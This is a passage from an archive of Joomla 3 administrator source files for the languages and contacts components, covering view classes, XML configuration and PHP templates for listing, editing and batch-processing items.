com_languages/views/installed/tmpl/default.xml000060400000000330152455305310015601 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_LANGUAGES_INSTALLED_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_INSTALLED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_languages/views/installed/tmpl/default.php000060400000011722152455305310015577 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Add specific helper files for html generation
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_languages&view=installed'); ?>" method="post" id="adminForm" name="adminForm">
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->total > 0) : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%">
						&#160;
					</th>
					<th width="15%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'name', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_TITLE_NATIVE', 'nativeName', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_TAG', 'language', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_DEFAULT', 'published', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_VERSION', 'version', $listDirn, $listOrder); ?>
					</th>
					<th class="hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_DATE', 'creationDate', $listDirn, $listOrder); ?>
					</th>
					<th class="hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_AUTHOR', 'author', $listDirn, $listOrder); ?>
					</th>
					<th class="hidden-phone hidden-tablet">
						<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_AUTHOR_EMAIL', 'authorEmail', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="10">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php
			$version = new JVersion;
			$currentShortVersion = preg_replace('#^([0-9\.]+)(|.*)$#', '$1', $version->getShortVersion());
			foreach ($this->rows as $i => $row) :
				$canCreate = $user->authorise('core.create',     'com_languages');
				$canEdit   = $user->authorise('core.edit',       'com_languages');
				$canChange = $user->authorise('core.edit.state', 'com_languages');
			?>
				<tr class="row<?php echo $i % 2; ?>">
					<td>
						<?php echo JHtml::_('languages.id', $i, $row->language); ?>
					</td>
					<td>
						<label for="cb<?php echo $i; ?>">
							<?php echo $this->escape($row->name); ?>
						</label>
					</td>
					<td class="hidden-phone">
						<?php echo $this->escape($row->nativeName); ?>
					</td>
					<td>
						<?php echo $this->escape($row->language); ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('jgrid.isdefault', $row->published, $i, 'installed.', !$row->published && $canChange); ?>
					</td>
					<td class="center small">
					<?php $minorVersion = $version::MAJOR_VERSION . '.' . $version::MINOR_VERSION; ?>
					<?php // Display a Note if language pack version is not equal to Joomla version ?>
					<?php if (strpos($row->version, $minorVersion) !== 0 || strpos($row->version, $currentShortVersion) !== 0) : ?>
						<span class="label label-warning hasTooltip" title="<?php echo JText::_('JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM'); ?>"><?php echo $row->version; ?></span>
					<?php else : ?>
						<span class="label label-success"><?php echo $row->version; ?></span>
					<?php endif; ?>
					</td>
					<td class="hidden-phone">
						<?php echo $this->escape($row->creationDate); ?>
					</td>
					<td class="hidden-phone">
						<?php echo $this->escape($row->author); ?>
					</td>
					<td class="hidden-phone hidden-tablet">
						<?php echo JStringPunycode::emailToUTF8($this->escape($row->authorEmail)); ?>
					</td>
					<td class="hidden-phone">
						<?php echo $this->escape($row->extension_id); ?>
					</td>
				</tr>
			<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_languages/views/installed/view.html.php000060400000005700152455305310015113 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Displays a list of the installed languages.
 *
 * @since  1.6
 */
class LanguagesViewInstalled extends JViewLegacy
{
	/**
	 * @var object client object.
	 * @deprecated 4.0
	 */
	protected $client = null;

	/**
	 * @var boolean|JException True, if FTP settings should be shown, or an exception.
	 */
	protected $ftp = null;

	/**
	 * @var string option name.
	 */
	protected $option = null;

	/**
	 * @var object pagination information.
	 */
	protected $pagination = null;

	/**
	 * @var array languages information.
	 */
	protected $rows = null;

	/**
	 * @var object user object
	 */
	protected $user = null;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->ftp           = $this->get('Ftp');
		$this->option        = $this->get('Option');
		$this->pagination    = $this->get('Pagination');
		$this->rows          = $this->get('Data');
		$this->total         = $this->get('Total');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		LanguagesHelper::addSubmenu('installed');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_languages');

		if ((int) $this->state->get('client_id') === 1)
		{
			JToolbarHelper::title(JText::_('COM_LANGUAGES_VIEW_INSTALLED_ADMIN_TITLE'), 'comments-2 langmanager');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_LANGUAGES_VIEW_INSTALLED_SITE_TITLE'), 'comments-2 langmanager');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::makeDefault('installed.setDefault');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin'))
		{
			// Add install languages link to the lang installer component.
			$bar = JToolbar::getInstance('toolbar');

			// Switch administrator language
			if ($this->state->get('client_id', 0) == 1)
			{
				JToolbarHelper::custom('installed.switchadminlanguage', 'refresh', 'refresh', 'COM_LANGUAGES_SWITCH_ADMIN', false);
				JToolbarHelper::divider();
			}

			$bar->appendButton('Link', 'upload', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages');
			JToolbarHelper::divider();

			JToolbarHelper::preferences('com_languages');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED');

		$this->sidebar = JHtmlSidebar::render();
	}
}
com_languages/config.xml000060400000000716152455305310011342 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_languages"
			section="component" 
		/>

		<field
			type="hidden"
			name="site"
		/>

		<field
			type="hidden"
			name="administrator"
		/>
	</fieldset>
</config>
com_languages/layouts/joomla/searchtools/default/bar.php000060400000001356152455305310017564 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$data = $displayData;

if ($data['view'] instanceof LanguagesViewOverrides)
{
	// We will get the language_client filter & remove it from the form filters
	$langClient = $data['view']->filterForm->getField('language_client'); ?>
	<div class="js-stools-field-filter js-stools-selector">
		<?php echo $langClient->input; ?>
	</div>
<?php
}
// Display the main joomla layout
echo JLayoutHelper::render('joomla.searchtools.default.bar', $data, null, array('component' => 'none')); ?>
com_languages/controller.php000060400000003147152455305310012250 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Controller.
 *
 * @since  1.5
 */
class LanguagesController extends JControllerLegacy
{
	/**
	 * @var	    string	The default view.
	 * @since   1.6
	 */
	protected $default_view = 'installed';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  LanguagesController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('LanguagesHelper', JPATH_ADMINISTRATOR . '/components/com_languages/helpers/languages.php');

		$view   = $this->input->get('view', 'languages');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'language' && $layout == 'edit' && !$this->checkEditId('com_languages.edit.language', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_languages&view=languages', false));

			return false;
		}

		return parent::display();
	}
}
com_languages/access.xml000060400000001320152455305310011326 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_languages">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_contact/views/contact/tmpl/edit_params.php000060400000001727152455305310015610 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) :
	$paramstabs = 'params-' . $name;
	echo JHtml::_('bootstrap.addTab', 'myTab', $paramstabs, JText::_($fieldSet->label));

	if (isset($fieldSet->description) && trim($fieldSet->description)) :
		echo '<p class="alert alert-info">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
	endif;
	?>
		<?php foreach ($this->form->getFieldset($name) as $field) : ?>
			<div class="control-group">
				<div class="control-label"><?php echo $field->label; ?></div>
				<div class="controls"><?php echo $field->input; ?></div>
			</div>
		<?php endforeach; ?>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endforeach; ?>
com_contact/views/contact/tmpl/edit_metadata.php000060400000000504152455305310016075 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_contact/views/contact/tmpl/modal_metadata.php000060400000000504152455305310016244 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_contact/views/contact/tmpl/modal_params.php000060400000001727152455305310015757 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) :
	$paramstabs = 'params-' . $name;
	echo JHtml::_('bootstrap.addTab', 'myTab', $paramstabs, JText::_($fieldSet->label));

	if (isset($fieldSet->description) && trim($fieldSet->description)) :
		echo '<p class="alert alert-info">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
	endif;
	?>
		<?php foreach ($this->form->getFieldset($name) as $field) : ?>
			<div class="control-group">
				<div class="control-label"><?php echo $field->label; ?></div>
				<div class="controls"><?php echo $field->input; ?></div>
			</div>
		<?php endforeach; ?>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endforeach; ?>
com_contact/views/contact/tmpl/edit.php000060400000011647152455305310014247 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');

$app = JFactory::getApplication();
$input = $app->input;

$assoc = JLanguageAssociations::isEnabled();

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "contact.cancel" || document.formvalidator.isValid(document.getElementById("contact-form")))
		{
			' . $this->form->getField('misc')->save() . '
			Joomla.submitform(task, document.getElementById("contact-form"));

			// @deprecated 4.0  The following js is not needed since 3.7.0.
			if (task !== "contact.apply")
			{
				window.parent.jQuery("#contactEdit' . $this->item->id . 'Modal").modal("hide");
			}
		}
	};
');

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('details', 'item_associations', 'jmetadata');

// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo JRoute::_('index.php?option=com_contact&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="contact-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', empty($this->item->id) ? JText::_('COM_CONTACT_NEW_CONTACT') : JText::_('COM_CONTACT_EDIT_CONTACT')); ?>
		<div class="row-fluid">
			<div class="span9">
				<div class="row-fluid form-horizontal-desktop float-cols" >
					<div class="span6">
						<?php echo $this->form->renderField('user_id'); ?>
						<?php echo $this->form->renderField('image'); ?>
						<?php echo $this->form->renderField('con_position'); ?>
						<?php echo $this->form->renderField('email_to'); ?>
						<?php echo $this->form->renderField('address'); ?>
						<?php echo $this->form->renderField('suburb'); ?>
						<?php echo $this->form->renderField('state'); ?>
						<?php echo $this->form->renderField('postcode'); ?>
						<?php echo $this->form->renderField('country'); ?>
					</div>
					<div class="span6">
						<?php echo $this->form->renderField('telephone'); ?>
						<?php echo $this->form->renderField('mobile'); ?>
						<?php echo $this->form->renderField('fax'); ?>
						<?php echo $this->form->renderField('webpage'); ?>
						<?php echo $this->form->renderField('sortname1'); ?>
						<?php echo $this->form->renderField('sortname2'); ?>
						<?php echo $this->form->renderField('sortname3'); ?>
					</div>
				</div>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'misc', JText::_('JGLOBAL_FIELDSET_MISCELLANEOUS')); ?>
		<div class="row-fluid form-horizontal-desktop">
				<div class="form-vertical">
					<?php echo $this->form->renderField('misc'); ?>
				</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if ( ! $isModal && $assoc) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
			<?php echo $this->loadTemplate('associations'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php elseif ($isModal && $assoc) : ?>
			<div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>
	<input type="hidden" name="task" value="" />
	<input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_contact/views/contact/tmpl/modal_associations.php000060400000000510152455305310017160 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_contact/views/contact/tmpl/modal.php000060400000002541152455305310014407 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = JFactory::getApplication()->input->getCmd('function', 'jEditContact_' . (int) $this->item->id);

// Function to update input title when changed
JFactory::getDocument()->addScriptDeclaration('
	function jEditContactModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("contact-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_name").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('contact.apply'); jEditContactModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('contact.save'); jEditContactModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('contact.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_contact/views/contact/tmpl/edit_associations.php000060400000000510152455305310017011 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_contact/views/contacts/tmpl/default_batch_footer.php000060400000001443152455305310017641 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-user-id').value='';document.getElementById('batch-tag-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('contact.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_contact/views/contacts/tmpl/modal.php000060400000013143152455305310014572 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();

if ($app->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JLoader::register('ContactHelperRoute', JPATH_ROOT . '/components/com_contact/helpers/route.php');

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
JHtml::_('script', 'com_contact/admin-contacts-modal.min.js', array('version' => 'auto', 'relative' => true));

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$function  = $app->input->getCmd('function', 'jSelectContact');
$editor    = $app->input->getCmd('editor', '');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$onclick   = $this->escape($function);

if (!empty($editor))
{
	// This view is used also in com_menus. Load the xtd script only if the editor is set!
	JFactory::getDocument()->addScriptOptions('xtd-contacts', array('editor' => $editor));
	$onclick = "jSelectContact";
}
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_('index.php?option=com_contact&view=contacts&layout=modal&tmpl=component&editor=' . $editor . '&function=' . $function . '&' . JSession::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped table-condensed">
				<thead>
					<tr>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_CONTACT_FIELD_LINKED_USER_LABEL', 'ul.name', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="6">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				$iconStates = array(
					-2 => 'icon-trash',
					0  => 'icon-unpublish',
					1  => 'icon-publish',
					2  => 'icon-archive',
				);
				?>
				<?php foreach ($this->items as $i => $item) : ?>
					<?php if ($item->language && JLanguageMultilang::isEnabled())
					{
						$tag = strlen($item->language);
						if ($tag == 5)
						{
							$lang = substr($item->language, 0, 2);
						}
						elseif ($tag == 6)
						{
							$lang = substr($item->language, 0, 3);
						}
						else {
							$lang = '';
						}
					}
					elseif (!JLanguageMultilang::isEnabled())
					{
						$lang = '';
					}
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
						</td>
						<td>
							<a class="select-link" href="javascript:void(0)" data-function="<?php echo $this->escape($onclick); ?>" data-id="<?php echo $item->id; ?>" data-title="<?php echo $this->escape($item->name); ?>" data-uri="<?php echo $this->escape(ContactHelperRoute::getContactRoute($item->id, $item->catid, $item->language)); ?>" data-language="<?php echo $this->escape($lang); ?>">
								<?php echo $this->escape($item->name); ?>
							</a>
							<?php echo $this->escape($item->name); ?>
							<div class="small">
								<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
							</div>
						</td>
						<td>
							<?php if (!empty($item->linked_user)) : ?>
								<?php echo $item->linked_user; ?>
							<?php endif; ?>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td align="center">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'CMD'); ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_contact/views/contacts/tmpl/default_batch_body.php000060400000002132152455305310017274 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = $this->state->get('filter.published');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.item', 'com_contact'); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.tag'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.user'); ?>
			</div>
		</div>
	</div>
</div>
com_contact/views/contacts/tmpl/default.php000060400000020231152455305310015116 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$assoc     = JLanguageAssociations::isEnabled();

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_contact&task=contacts.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'contactList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_contact'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"></div>
		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
		<?php else : ?>
			<table class="table table-striped" id="contactList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
